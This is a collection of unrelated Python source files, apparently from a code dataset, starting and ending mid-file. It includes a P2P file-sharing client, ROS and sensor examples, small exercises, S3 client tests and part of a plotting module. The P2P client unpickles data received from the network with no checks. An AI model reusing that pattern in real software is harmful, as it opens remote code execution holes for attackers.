get_user_input(\"hello\", 1)\n elif user_input == \"LIST\":\n data = pickle.dumps(p2s_list_request(socket.gethostname(), upload_port_num))\n s.send(data)\n server_data = s.recv(1024)\n #server_data = pickle.loads(server_data)\n print(server_data.decode('utf-8'), end=\"\")\n #print(server_data, end=\"\")\n\n #new_data = pickle.loads(s.recv(1000000))\n new_data = pickle.load(s.makefile(\"rb\"))\n print_combined_list(new_data[0], new_data[1])\n\n get_user_input(\"hello\", 1)\n elif user_input == \"GET\":\n user_input_rfc_number = input(\"> Enter the RFC Number: \")\n user_input_rfc_title = input(\"> Enter the RFC Title: \")\n global rcv_rfc_title\n rcv_rfc_title = str(user_input_rfc_title)\n data = pickle.dumps(p2s_lookup_message(user_input_rfc_number, host, port, user_input_rfc_title, \"0\"))\n s.send(data)\n server_data = pickle.loads(s.recv(1024))\n if not server_data[0]:\n print(server_data[1])\n get_user_input(\"hello\", 1)\n else: \n p2p_get_request(str(user_input_rfc_number), server_data[0][\"Hostname\"], server_data[0][\"Port Number\"])\n #get_user_input(\"hello\", 1)\n elif user_input == \"LOOKUP\":\n user_input_rfc_number = input(\"> Enter the RFC Number: \")\n user_input_rfc_title = input(\"> Enter the RFC Title: \")\n data = pickle.dumps(p2s_lookup_message(user_input_rfc_number, socket.gethostname(), upload_port_num, user_input_rfc_title, \"1\"))\n #print(p2s_lookup_message(user_input_rfc_number, host, port, user_input_rfc_title))\n #print(data)\n s.send(data)\n server_data = pickle.loads(s.recv(1024))\n #print(server_data[0][3])\n #print(server_data[0][1])\n print(server_data[1], end=\"\")\n keys = ['RFC Number', 'RFC Title', 'Hostname', 'Port Number']\n print_combined_list(server_data[0], keys)\n get_user_input(\"hello\", 1)\n else:\n data = pickle.dumps(\"Bad Request\")\n s.send(data)\n server_data = pickle.loads(s.recv(1024))\n print(server_data)\n get_user_input(\"hello\", 1)\n\nstart_new_thread(get_user_input, (\"hello\", 1))\n\nwhile True:\n data_p2p, addr = upload_socket.recvfrom(1024)\n data_p2p = pickle.loads(data_p2p)\n #print(data_p2p[0][0])\n if data_p2p[0] == \"G\": #GET MSG\n print(data_p2p)\n indexP = data_p2p.index('P')\n indexC = data_p2p.index('C')\n rfc_num = data_p2p[indexC+1:indexP-1]\n filename = get_filename(rfc_num)\n #print(\"FILENAME: \", filename)\n message = p2p_response_message(filename)\n #print(message)\n upload_socket.sendto(pickle.dumps(message),(addr))\n #print(\"SENDER ADDRESS:\", addr[0])\n n = sys.argv[1]\n print(\"N = \", n)\n mss = sys.argv[2]\n print(\"MSS = \", mss)\n Simple_FTP_sender.rdt_send(os.getcwd() + filename, addr[0], n, mss)\n #start_new_thread(get_user_input, (\"hello\", 1))\n elif data_p2p[0][0][0] == \"P\": \n #global rcv_rfc_num\n print(data_p2p[0][0])\n OS = platform.system()\n filename = data_p2p[1]\n #print(\"FILENAME: \", filename)\n prob_loss = sys.argv[3]\n print(\"LOST PROB = \", prob_loss)\n Simple_FTP_receiver.rdt_recv(os.getcwd() + filename, prob_loss)\n rcv_rfc_num = ''\n rcv_rfc_title = ''\n start_new_thread(get_user_input, (\"hello\", 1))","sub_path":"testClient/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":9160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"128371133","text":"class ModelConfig(object):\r\n def __init__(self):\r\n self.MAX_SEQUENCE_LENGTH = 40\r\n self.EMBEDDING_DIM = 100\r\n self.batch_size = 20\r\n self.units = 200\r\n self.nb_words = 9999\r\n self.nb_time_steps = 20\r\n self.nb_input_vector = 1\r\n self.sgd_lr = 1.0\r\n self.sgd_momentum = 0.9\r\n self.sgd_decay = 0.0\r\n self.nb_epoch = 13\r\n self.steps_per_epoch = 40000\r\n self.voc_num = 10000\r\n self.train_file = \"/simple-examples/data/ptb.train.txt\"\r\n self.valid_file = \"/simple-examples/data/ptb.valid.txt\"\r\n self.test_file = \"/simple-examples/data/ptb.test.txt\"\r\n self.valid_steps = 3370\r\n self.test_steps = 3761\r\n\r\nm_config = ModelConfig()\r\n","sub_path":"lm_keras/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"305527928","text":"def sleep_in(weekday, vacation):\n \n \n #output = True if its a weekday \n #output = True if we are on a vacation\n \n #sleep if its not a weekday or we are on vacation (output = True is we sleep in)\n \n if weekday == True and vacation == False:\n \n return False\n \n elif weekday == False and vacation == True:\n \n return True\n \n elif weekday == False and vacation == False:\n \n return True\n \n elif weekday == True and vacation == True:\n \n return True\n \n \n \n ","sub_path":"coding_bat_warmup_1.py","file_name":"coding_bat_warmup_1.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"385061274","text":"import rospy\nimport actionlib\nfrom actionlib_msgs.msg import *\nfrom squirrel_manipulation_msgs.msg import DropAction, DropGoal, DropResult, PutDownAction, PutDownGoal, PutDownResult, PtpAction, PtpGoal\nfrom kclhand_control.msg import ActuateHandAction, ActuateHandGoal\nfrom visualization_msgs.msg import Marker\n\nclass MetaHand(object):\n def __init__(self):\n while rospy.get_time() == 0.0:\n pass\n\n rospy.loginfo(rospy.get_caller_id() + ': starting up')\n self.tf_broadcaster = tf.TransformBroadcaster()\n self.tf_listener = tf.TransformListener()\n self.metahand = actionlib.SimpleActionClient('hand_controller/actuate_hand', ActuateHandAction)\n self.metahand.wait_for_server()\n self.ptp = actionlib.SimpleActionClient('cart_ptp', PtpAction)\n self.ptp.wait_for_server()\n self.drop_server = actionlib.SimpleActionServer('metahand_drop_server',\n DropAction,\n execute_cb=self._execute_drop,\n auto_start=False)\n self.put_server = actionlib.SimpleActionServer('metahand_place_server',\n PutDownAction,\n execute_cb=self._execute_placement,\n auto_start=False)\n\n self.drop_result = DropResult()\n self.put_result = PutDownResult()\n self.drop_server.start()\n self.put_server.start()\n self.markerPub = rospy.Publisher('put_downMarker', Marker, queue_size=10)\n rospy.loginfo(rospy.get_caller_id() + ': started')\n\n\n def _execute_drop(self, goal):\n rospy.loginfo(rospy.get_caller_id() + ': called')\n\n if self.drop_server.is_preempt_requested():\n rospy.loginfo(rospy.get_caller_id() + ': preempted')\n self.drop_server.set_preempted()\n return\n\n # open hand\n open_hand = ActuateHandGoal()\n open_hand.command = 0\n rospy.loginfo(\"Opening hand...\")\n self.metahand.send_goal(open_hand)\n self.metahand.wait_for_result()\n if self.metahand.get_state() == GoalStatus.ABORTED:\n error = 'Could not open hand.'\n self.drop_server.set_aborted(self.drop_result, error)\n return\n\n # we're done\n success = 'Object released.'\n self.drop_server.set_succeeded(self.drop_result, success)\n return\n\n\n def _execute_placement(self, goal):\n rospy.loginfo(rospy.get_caller_id() + ': called')\n\n if self.put_server.is_preempt_requested():\n rospy.loginfo(rospy.get_caller_id() + ': preempted')\n self.put_server.set_preempted()\n return\n\n correct_pose = None\n if not goal.destPoseSE2.header.frame_id == 'origin':\n goal.destPoseSE2.header.stamp = self.tf_listener.getLatestCommonTime(goal.destPoseSE2.header.frame_id, 'origin')\n correct_pose = self.tf_listener.transformPose('origin', goal.destPoseSE2).pose\n else:\n correct_pose = goal.destPoseSE2.pose\n\n self._visualize_put_down(correct_pose)\n\n ptp_goal = PtpGoal()\n ptp_goal.pose.position.x = correct_pose.position.x\n ptp_goal.pose.position.y = correct_pose.position.y\n ptp_goal.pose.position.z = correct_pose.position.z\n ptp_goal.pose.orientation.w = correct_pose.orientation.w\n ptp_goal.pose.orientation.x = correct_pose.orientation.x\n ptp_goal.pose.orientation.y = correct_pose.orientation.y\n ptp_goal.pose.orientation.z = correct_pose.orientation.z\n\n rospy.loginfo(\"Approaching placement pose...\")\n self.ptp.send_goal(ptp_goal)\n self.ptp.wait_for_result()\n result = self.ptp.get_result()\n rospy.loginfo(result.result_status)\n if result.result_status == \"Execution failed.\":\n error = 'Approaching placement pose failed.'\n self.put_server.set_aborted(self.put_result, error)\n return\n\n # open hand\n open_hand = ActuateHandGoal()\n open_hand.command = 0\n rospy.loginfo(\"Opening hand...\")\n self.metahand.send_goal(open_hand)\n self.metahand.wait_for_result()\n if self.metahand.get_state() == GoalStatus.ABORTED:\n error = 'Could not open hand.'\n self.drop_server.set_aborted(self.drop_result, error)\n return\n\n # we're done\n success = 'Object placed and released.'\n self.put_server.set_succeeded(self.put_result, success)\n return\n\n def _visualize_put_down(self, pose):\n put_downMarker = Marker()\n put_downMarker.header.frame_id = \"/origin\"\n put_downMarker.header.stamp = rospy.get_rostime()\n put_downMarker.ns = \"grasp\"\n put_downMarker.id = 0\n put_downMarker.type = 2\n put_downMarker.action = 0\n put_downMarker.pose.position = pose.position\n put_downMarker.pose.orientation.x = 0\n put_downMarker.pose.orientation.y = 0\n put_downMarker.pose.orientation.z = 0\n put_downMarker.pose.orientation.w = 1.0\n put_downMarker.scale.x = 0.05\n put_downMarker.scale.y = 0.05\n put_downMarker.scale.z = 0.05\n put_downMarker.color.r = 0.0\n put_downMarker.color.g = 1.0\n put_downMarker.color.b = 0.0\n put_downMarker.color.a = 1.0\n put_downMarker.lifetime = rospy.Duration(secs=20)\n self.markerPub.publish(put_downMarker)\n","sub_path":"squirrel_placement/src/squirrel_placement/metahand.py","file_name":"metahand.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"251321923","text":"# TicTacToe Game:\n\nboard = [[\"___\",\"___\",\"___\"],\n\t\t [\"___\",\"___\",\"___\"],\n\t\t [\"___\",\"___\",\"___\"]]\n\nprint(\"\\n\"*15)\n\nfor x in board :\n\tprint(\"\\t\".expandtabs(30), *x, end = \"\\n\" * 2)\n\nwinCriter =\t[[[0, 0], [1, 0], [2, 0]],\n\t [[0, 1], [1, 1], [2, 1]],\n\t [[0, 2], [1, 2], [2, 2]],\n\t [[0, 0], [0, 1], [0, 2]],\n\t [[1, 0], [1, 1], [1, 2]],\n\t [[2, 0], [2, 1], [2, 2]],\n\t [[0, 0], [1, 1], [2, 2]],\n\t [[0, 2], [1, 1], [2, 0]]]\n\n\nx_status = []\no_status = []\n\norder = 1 # Sıra numarası 1 \n\nwhile True:\n\ttry:\n\t\tif order % 2 == 0: # eğer sıra 2 bölündüğünde 0 kalıyorsa sıra \"x\" te\n\t\t\tmark = \"X\".center(3) # center ile konumu ortaladık\n\t\telse:\n\t\t\tmark = \"O\".center(3) # değilse sıra \"o\" da olacak\n\n\t\tprint()\n\t\tprint(\"İşaret: {}\\n\".format(mark))\n\n\n\t\tvertical = int(input(\"Yukarıdan aşağıya [1,2,3]\".ljust(30))) # vertical -> (dikey)\n\t\tif vertical == \"q\": # \"q\" girilidiğinde oyun sonlanıyor\n\t\t\tprint(\"Oyun sonlandırıldı!\")\n\t\t\tbreak\n\t\t\t\n\t\thorizontal = int(input(\"Soldan sağa [1,2,3]\".ljust(30))) # horizontal -> (yatay)\n\t\tif horizontal == \"q\":\n\t\t\tprint(\"Oyun sonlandırıldı\")\n\t\t\tbreak\n\n\t\tvertical \t= vertical \t - 1 # Python saymağa 0'dan başladığı için kullanıcıdan alınan veriyi 1 eksiltiyoruz\n\t\thorizontal = horizontal - 1\n\n\t\tprint(\"\\n\" * 15)\n\n\t\tif board[vertical][horizontal] == \"___\": # oyun tahtası üzerindeki bir konumun halihazırda boş mu yoksa dolu mu olduğunu tespit etmemizi sağlıyor.\n\t\t\tboard[vertical][horizontal] = mark \t # mark => \"X\".center(3) \n\n\t\t\tif mark == \"X\".center(3): # Eğer işaret \"X\"'te ise konum bilgilerini -> x_status listesine \n\t\t\t\tx_status += [[vertical,horizontal]]\n\n\t\t\telif mark == \"O\".center(3): # Eğer işaret \"O\"'da ise konum bilgilerini -> o_status listine gönderecek\n\t\t\t\to_status += [[vertical,horizontal]]\n\t\t\t\t\n\t\t\torder += 1 # ve sıra değişkeninin değeri 1 artırıyoruz ...\n\n\t\telse:\n\t\t\tprint(\"\\n Orası Dolu! Tekrar Deneyin \\n\")\n\n\t\tfor x in board:\n\t\t\tprint(\"\\t\".expandtabs(30), *x, end = \"\\n\" * 2)\n\n\t\tfor i in winCriter:\n\t\t\to = [x for x in i if x in o_status]\n\t\t\tx = [x for x in i if x in x_status]\n\n\t\t\tif len(o) == len(i):\n\t\t\t\tprint(\"'O' kazandı !!!\")\n\t\t\t\tquit()\n\t\t\tif len(x) == len(i):\n\t\t\t\tprint(\"'X' kazandı !!!\")\n\t\t\t\tquit()\n\texcept ValueError:\n\t\tprint(\"Rakam Girin !\")\n","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"315074786","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n:mod:`sensorfusion`\n==================\n\nCreated by mgeorgi \nCreated on 2016-02-01\n\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport time\n\nfrom pymetawear.discover import select_device\nfrom pymetawear.client import MetaWearClient\nfrom pymetawear.mbientlab.metawear.cbindings import SensorFusionData, SensorFusionGyroRange, SensorFusionAccRange, SensorFusionMode\n\naddress = select_device()\nc = MetaWearClient(str(address), 'pygatt', debug=True)\nprint(\"New client created: {0}\".format(c))\n\ndef handle_quat(data):\n # Handle a (epoch_time, (w,x,y,z)) quaternion tuple.¬\n epoch = data[0]\n xyzaccu = data[1]\n print(\"QUAT [{0}] W {1}, X {2}, Y {3}, Z {4}\".format(epoch, *xyzaccu))\n\ndef handle_notification(data):\n # Handle a (epoch_time, (x,y,z,accuracy)) corrected acc¬\n # tuple.¬\n epoch = data[0]\n xyzaccu = data[1]\n print(\"ACC [{0}] X: {1}, Y: {2}, Z: {3}\".format(epoch, *xyzaccu[:-1]))\n\ndef handle_gyro(data):\n # Handle a (epoch_time, (x,y,z,accuracy)) corrected gyro¬\n # tuple.¬\n epoch = data[0]\n xyzaccu = data[1]\n print(\"GYRO [{0}] X: {1}, Y: {2}, Z: {3}\".format(epoch, *xyzaccu[:-1]))\n\ndef handle_euler(data):\n # Handle a (epoch_time, (heading,pitch,roll,yaw)) euler angle tuple.¬\n epoch = data[0]\n xyzaccu = data[1]\n print(\"EULER [{0}] Heading: {1}, Pitch: {2}, Roll: {3}, Yaw: {4}\".format(\n epoch, *xyzaccu))\n\n\nprint(\"Write Sensor Fusion settings...\")\nc.sensorfusion.set_mode(SensorFusionMode.NDOF)\nc.sensorfusion.set_acc_range(SensorFusionAccRange._8G)\nc.sensorfusion.set_gyro_range(SensorFusionGyroRange._1000DPS)\n\nprint(\"Set Time Processor to limit data rate to 50Hz for each channel\")\n#c.sensorfusion.set_sample_delay(SensorFusionData.EULER_ANGLE, 20)\nc.sensorfusion.set_sample_delay(SensorFusionData.QUATERION, 20)\n#c.sensorfusion.set_sample_delay(SensorFusionData.CORRECTED_ACC, 20)\n#c.sensorfusion.set_sample_delay(SensorFusionData.CORRECTED_GYRO, 20)\n\nprint(\"Subscribing to Sensor Fusion Quaternion signal notifications...\")\n#c.sensorfusion.notifications(euler_angle_callback=handle_euler)\nc.sensorfusion.notifications(quaternion_callback=handle_quat)\n#c.sensorfusion.notifications(corrected_acc_callback=handle_notification,\n# quaternion_callback=handle_quat,\n# corrected_gyro_callback=handle_gyro)\n\ntime.sleep(10.0)\n\nprint(\"Unsubscribe to notification...\")\nc.sensorfusion.notifications()\n\ntime.sleep(5.0)\n\nc.disconnect()\n","sub_path":"examples/sensorfusion.py","file_name":"sensorfusion.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"178224494","text":"#!/usr/bin/env python3\n\"\"\"\nLocating restriction sites\nUsage: ./revp.py [input file]\n\"\"\"\n\nimport sys\nfrom tools import read_fasta, check_input\nfrom revc import rev_comp\n\ndef find_revp(in_string):\n \"\"\"\n Takes as input a DNA string and yields the position (1-based) and length of every reverse palindrome\n contained in the string between 4-12 bp long.\n \"\"\"\n for length in range(4, 13):\n for i in range(len(in_string) - length + 1):\n if in_string[i:i+length] == rev_comp(in_string[i:i+length]):\n yield(i+1, length)\n\ndef main():\n \"\"\"Find reverse palindromes in input.\"\"\"\n check_input(sys.argv[0])\n for _, seq in read_fasta(sys.argv[1]):\n for pair in find_revp(seq):\n print(*pair, sep=\" \")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"revp.py","file_name":"revp.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"331841300","text":"import asyncio\nimport secrets\nfrom datetime import datetime, timezone\n\nimport pytest\nfrom foxglove.test_server import DummyServer\nfrom httpx import AsyncClient\nfrom pytest_toolbox.comparison import CloseToNow\n\nfrom aioaws.core import RequestError\nfrom aioaws.s3 import S3Client, S3Config, S3File, to_key\n\nfrom .conftest import AWS\n\npytestmark = pytest.mark.asyncio\n\nrun_prefix = secrets.token_hex()[:10]\n\n\ndef test_upload_url():\n s3 = S3Client('-', S3Config('testing', 'testing', 'testing', 'testing.com'))\n d = s3.signed_upload_url(\n path='testing/', filename='test.png', content_type='image/png', size=123, expires=datetime(2032, 1, 1)\n )\n assert d == {\n 'url': 'https://testing.com/',\n 'fields': {\n 'Key': 'testing/test.png',\n 'Content-Type': 'image/png',\n 'AWSAccessKeyId': 'testing',\n 'Content-Disposition': 'attachment; filename=\"test.png\"',\n 'Policy': (\n 'eyJleHBpcmF0aW9uIjogIjIwMzItMDEtMDFUMDA6MDA6MDBaIiwgImNvbmRpdGlvbnMiOiBbeyJidWNrZXQiOiAidGVzdGluZy5jb'\n '20ifSwgeyJrZXkiOiAidGVzdGluZy90ZXN0LnBuZyJ9LCB7ImNvbnRlbnQtdHlwZSI6ICJpbWFnZS9wbmcifSwgWyJjb250ZW50LW'\n 'xlbmd0aC1yYW5nZSIsIDEyMywgMTIzXSwgeyJDb250ZW50LURpc3Bvc2l0aW9uIjogImF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwidGV'\n 'zdC5wbmdcIiJ9XX0='\n ),\n 'Signature': 'dnnmIX/z9J5ClnI11ZzDyPVSxUY=',\n },\n }\n\n\ndef test_upload_url_no_content_disp():\n s3 = S3Client('-', S3Config('testing', 'testing', 'testing', 'testing'))\n d = s3.signed_upload_url(\n path='testing/',\n filename='test.png',\n content_type='image/png',\n size=123,\n content_disp=False,\n expires=datetime(2032, 1, 1),\n )\n assert d == {\n 'url': 'https://testing.s3.amazonaws.com/',\n 'fields': {\n 'Key': 'testing/test.png',\n 'Content-Type': 'image/png',\n 'AWSAccessKeyId': 'testing',\n 'Policy': (\n 'eyJleHBpcmF0aW9uIjogIjIwMzItMDEtMDFUMDA6MDA6MDBaIiwgImNvbmRpdGlvbnMiOiBbeyJidWNrZXQiOiAidGVzdGluZyJ9L'\n 'CB7ImtleSI6ICJ0ZXN0aW5nL3Rlc3QucG5nIn0sIHsiY29udGVudC10eXBlIjogImltYWdlL3BuZyJ9LCBbImNvbnRlbnQtbGVuZ3'\n 'RoLXJhbmdlIiwgMTIzLCAxMjNdXX0='\n ),\n 'Signature': 'xi9Vv7t8UL2iaHtX88J/ezS+fBI=',\n },\n }\n\n\nasync def test_list(client: AsyncClient):\n s3 = S3Client(client, S3Config('testing', 'testing', 'testing', 'testing'))\n files = [f async for f in s3.list()]\n assert len(files) == 3\n assert files[0].dict() == dict(\n key='/foo.html',\n last_modified=datetime(2032, 1, 1, 12, 34, 56, tzinfo=timezone.utc),\n size=123,\n e_tag='aaa',\n storage_class='STANDARD',\n )\n\n\nasync def test_list_delete_many(client: AsyncClient, aws: DummyServer):\n s3 = S3Client(client, S3Config('testing', 'testing', 'testing', 'testing'))\n files = [f async for f in s3.list('many')]\n assert len(files) == 1500\n deleted_files = await s3.delete_recursive('many')\n assert len(deleted_files) == 1500\n assert aws.log == [\n 'GET /s3/?list-type=2&prefix=many > 200',\n 'GET /s3/?continuation-token=foobar123&list-type=2&prefix=many > 200',\n 'GET /s3/?list-type=2&prefix=many > 200',\n 'GET /s3/?continuation-token=foobar123&list-type=2&prefix=many > 200',\n 'POST /s3/?delete=1 > 200',\n 'POST /s3/?delete=1 > 200',\n ]\n\n\nasync def test_list_bad(client: AsyncClient):\n s3 = S3Client(client, S3Config('testing', 'testing', 'testing', 'testing'))\n with pytest.raises(RuntimeError, match='unexpected response from S3'):\n async for _ in s3.list('broken'):\n pass\n\n\ndef test_to_key():\n assert to_key('foobar') == 'foobar'\n assert to_key(S3File.construct(key='spam')) == 'spam'\n with pytest.raises(TypeError, match='must be a string or S3File object'):\n to_key(123)\n\n\nasync def test_real_upload(real_aws: AWS):\n async with AsyncClient(timeout=30) as client:\n s3 = S3Client(client, S3Config(real_aws.access_key, real_aws.secret_key, 'us-east-1', 'aioaws-testing'))\n\n path = f'{run_prefix}/testing/test.txt'\n await s3.upload(path, b'this is a test')\n\n try:\n files = [f.dict() async for f in s3.list(f'{run_prefix}/')]\n # debug(files)\n assert len(files) == 1\n assert files[0] == {\n 'key': path,\n 'last_modified': CloseToNow(delta=10),\n 'size': 14,\n 'e_tag': '54b0c58c7ce9f2a8b551351102ee0938',\n 'storage_class': 'STANDARD',\n }\n finally:\n assert await s3.delete(path) == [path]\n assert [f.dict() async for f in s3.list(f'{run_prefix}/')] == []\n\n\nasync def test_real_download_link(real_aws: AWS):\n async with AsyncClient(timeout=30) as client:\n s3 = S3Client(client, S3Config(real_aws.access_key, real_aws.secret_key, 'us-east-1', 'aioaws-testing'))\n\n await s3.upload(f'{run_prefix}/foobar.txt', b'hello', content_type='text/html')\n\n try:\n url = s3.signed_download_url(f'{run_prefix}/foobar.txt')\n r = await client.get(url)\n assert r.status_code == 200, r.text\n assert r.text == 'hello'\n assert r.headers['content-type'] == 'text/html'\n\n finally:\n await s3.delete(f'{run_prefix}/foobar.txt')\n\n\nasync def test_real_many(real_aws: AWS):\n async with AsyncClient(timeout=30) as client:\n s3 = S3Client(client, S3Config(real_aws.access_key, real_aws.secret_key, 'us-east-1', 'aioaws-testing'))\n\n # upload many files\n await asyncio.gather(*[s3.upload(f'{run_prefix}/f_{i}.txt', f'file {i}'.encode()) for i in range(51)])\n\n deleted_files = await s3.delete_recursive(f'{run_prefix}/')\n assert len(deleted_files) == 51\n\n\nasync def test_bad_auth():\n async with AsyncClient(timeout=30) as client:\n s3 = S3Client(client, S3Config('BAD_access_key', 'BAD_secret_key', 'us-east-1', 'foobar'))\n\n with pytest.raises(RequestError) as exc_info:\n await s3.upload('foobar.txt', b'hello')\n\n assert exc_info.value.args[0] == 'unexpected response from POST \"https://foobar.s3.amazonaws.com/\": 403'\n assert str(exc_info.value).startswith(exc_info.value.args[0] + ', response:\\n len(self._contourColors):\n raise RuntimeError(\n \"You asked for %i levels but provided only %i colors\\n\"\n \"Graphic Method: %s of type %s\\nLevels: %s\"\n % (len(self._contourLevels), len(self._contourColors),\n self._gm.name, self._gm.g_name,\n repr(self._contourLevels)))\n elif len(self._contourLevels) < len(self._contourColors) - 1:\n warnings.warn(\n \"You asked for %i lgridevels but provided %i colors, extra \"\n \"ones will be ignored\\nGraphic Method: %s of type %s\"\n % (len(self._contourLevels), len(self._contourColors),\n self._gm.name, self._gm.g_name))\n for i, l in enumerate(self._contourLevels):\n if i == 0:\n C = [self._contourColors[i]]\n if numpy.allclose(self._contourLevels[0][0], -1.e20):\n # ok it's an extension arrow\n L = [self._scalarRange[0] - 1., self._contourLevels[0][1]]\n else:\n L = list(self._contourLevels[i])\n I = [indices[i]]\n else:\n if l[0] == L[-1] and I[-1] == indices[i]:\n # Ok same type lets keep going\n if numpy.allclose(l[1], 1.e20):\n L.append(self._scalarRange[1] + 1.)\n else:\n L.append(l[1])\n C.append(self._contourColors[i])\n else: # ok we need new contouring\n tmpLevels.append(L)\n tmpColors.append(C)\n C = [self._contourColors[i]]\n L = self._contourLevels[i]\n I = [indices[i]]\n tmpLevels.append(L)\n tmpColors.append(C)\n\n mappers = []\n luts = []\n geos = []\n for i, l in enumerate(tmpLevels):\n # Ok here we are trying to group together levels can be, a join\n # will happen if: next set of levels contnues where one left off\n # AND pattern is identical\n wholeDataMin, wholeDataMax = vcs.minmax(self._originalData1)\n # TODO this should really just be a single polydata that is\n # colored by scalars:\n for j, color in enumerate(tmpColors[i]):\n mapper = vtk.vtkPolyDataMapper()\n lut = vtk.vtkLookupTable()\n th = vtk.vtkThreshold()\n th.ThresholdBetween(l[j], l[j + 1])\n th.SetInputConnection(self._vtkPolyDataFilter.GetOutputPort())\n geoFilter2 = vtk.vtkDataSetSurfaceFilter()\n geoFilter2.SetInputConnection(th.GetOutputPort())\n geos.append(geoFilter2)\n mapper.SetInputConnection(geoFilter2.GetOutputPort())\n lut.SetNumberOfTableValues(1)\n r, g, b = self._colorMap.index[color]\n lut.SetTableValue(0, r / 100., g / 100., b / 100.)\n mapper.SetLookupTable(lut)\n mapper.SetScalarRange(l[j], l[j + 1])\n luts.append([lut, [l[j], l[j + 1], True]])\n # Store the mapper only if it's worth it?\n # Need to do it with the whole slab min/max for animation\n # purposes\n if not (l[j + 1] < wholeDataMin or l[j] > wholeDataMax):\n mappers.append(mapper)\n\n self._resultDict[\"vtk_backend_luts\"] = luts\n if len(geos) > 0:\n self._resultDict[\"vtk_backend_geofilters\"] = geos\n\n numLevels = len(self._contourLevels)\n if mappers == []: # ok didn't need to have special banded contours\n mapper = vtk.vtkPolyDataMapper()\n mappers = [mapper]\n # Colortable bit\n # make sure length match\n while len(self._contourColors) < numLevels:\n self._contourColors.append(self._contourColors[-1])\n\n lut = vtk.vtkLookupTable()\n lut.SetNumberOfTableValues(numLevels)\n for i in range(numLevels):\n r, g, b = self._colorMap.index[self._contourColors[i]]\n lut.SetTableValue(i, r / 100., g / 100., b / 100.)\n\n mapper.SetLookupTable(lut)\n if numpy.allclose(self._contourLevels[0], -1.e20):\n lmn = self._min - 1.\n else:\n lmn = self._contourLevels[0]\n if numpy.allclose(self._contourLevels[-1], 1.e20):\n lmx = self._max + 1.\n else:\n lmx = self._contourLevels[-1]\n mapper.SetScalarRange(lmn, lmx)\n self._resultDict[\"vtk_backend_luts\"] = [[lut, [lmn, lmx, True]]]\n\n if self._maskedDataMapper is not None:\n # Note that this is different for meshfill -- others prepend.\n mappers.append(self._maskedDataMapper)\n\n # This is also different for meshfill, others use\n # vcs.utils.getworldcoordinates\n x1, x2, y1, y2 = vcs2vtk.getRange(self._gm,\n self._vtkDataSetBounds[0],\n self._vtkDataSetBounds[1],\n self._vtkDataSetBounds[2],\n self._vtkDataSetBounds[3])\n\n # Add a second mapper for wireframe meshfill:\n if self._gm.mesh:\n lineMappers = []\n wireLUT = vtk.vtkLookupTable()\n wireLUT.SetNumberOfTableValues(1)\n wireLUT.SetTableValue(0, 0, 0, 0)\n for polyMapper in mappers:\n lineMapper = vtk.vtkPolyDataMapper()\n lineMapper.SetInputConnection(\n polyMapper.GetInputConnection(0, 0))\n lineMapper._useWireFrame = True\n\n # 'noqa' comments disable pep8 checking for these lines. There\n # is not a readable way to shorten them due to the unwieldly\n # method name.\n #\n # Setup depth resolution so lines stay above points:\n polyMapper.SetResolveCoincidentTopologyPolygonOffsetParameters(0, 1) # noqa\n polyMapper.SetResolveCoincidentTopologyToPolygonOffset()\n lineMapper.SetResolveCoincidentTopologyPolygonOffsetParameters(1, 1) # noqa\n lineMapper.SetResolveCoincidentTopologyToPolygonOffset()\n lineMapper.SetLookupTable(wireLUT)\n\n lineMappers.append(lineMapper)\n mappers.extend(lineMappers)\n\n # And now we need actors to actually render this thing\n actors = []\n for mapper in mappers:\n act = vtk.vtkActor()\n act.SetMapper(mapper)\n\n if hasattr(mapper, \"_useWireFrame\"):\n prop = act.GetProperty()\n prop.SetRepresentationToWireframe()\n\n if self._vtkGeoTransform is None:\n # If using geofilter on wireframed does not get wrppaed not\n # sure why so sticking to many mappers\n act = vcs2vtk.doWrap(act, [x1, x2, y1, y2],\n self._dataWrapModulo)\n\n # TODO See comment in boxfill.\n if mapper is self._maskedDataMapper:\n actors.append([act, self._maskedDataMapper, [x1, x2, y1, y2]])\n else:\n actors.append([act, [x1, x2, y1, y2]])\n\n # create a new renderer for this mapper\n # (we need one for each mapper because of cmaera flips)\n self._context().fitToViewport(\n act, [self._template.data.x1,\n self._template.data.x2,\n self._template.data.y1,\n self._template.data.y2],\n wc=[x1, x2, y1, y2], geo=self._vtkGeoTransform,\n priority=self._template.data.priority,\n create_renderer=True)\n\n self._resultDict[\"vtk_backend_actors\"] = actors\n\n self._template.plot(self._context().canvas, self._data1, self._gm,\n bg=self._context().bg,\n X=numpy.arange(self._vtkDataSetBounds[0],\n self._vtkDataSetBounds[1] * 1.1,\n (self._vtkDataSetBounds[1] -\n self._vtkDataSetBounds[0]) / 10.),\n Y=numpy.arange(self._vtkDataSetBounds[2],\n self._vtkDataSetBounds[3] * 1.1,\n (self._vtkDataSetBounds[3] -\n self._vtkDataSetBounds[2]) / 10.))\n\n legend = getattr(self._gm, \"legend\", None)\n\n if self._gm.ext_1:\n if isinstance(self._contourLevels[0], list):\n if numpy.less(abs(self._contourLevels[0][0]), 1.e20):\n # Ok we need to add the ext levels\n self._contourLevels.insert(\n 0, [-1.e20, self._contourLevels[0][0]])\n else:\n if numpy.less(abs(self._contourLevels[0]), 1.e20):\n # need to add an ext\n self._contourLevels.insert(0, -1.e20)\n if self._gm.ext_2:\n if isinstance(self._contourLevels[-1], list):\n if 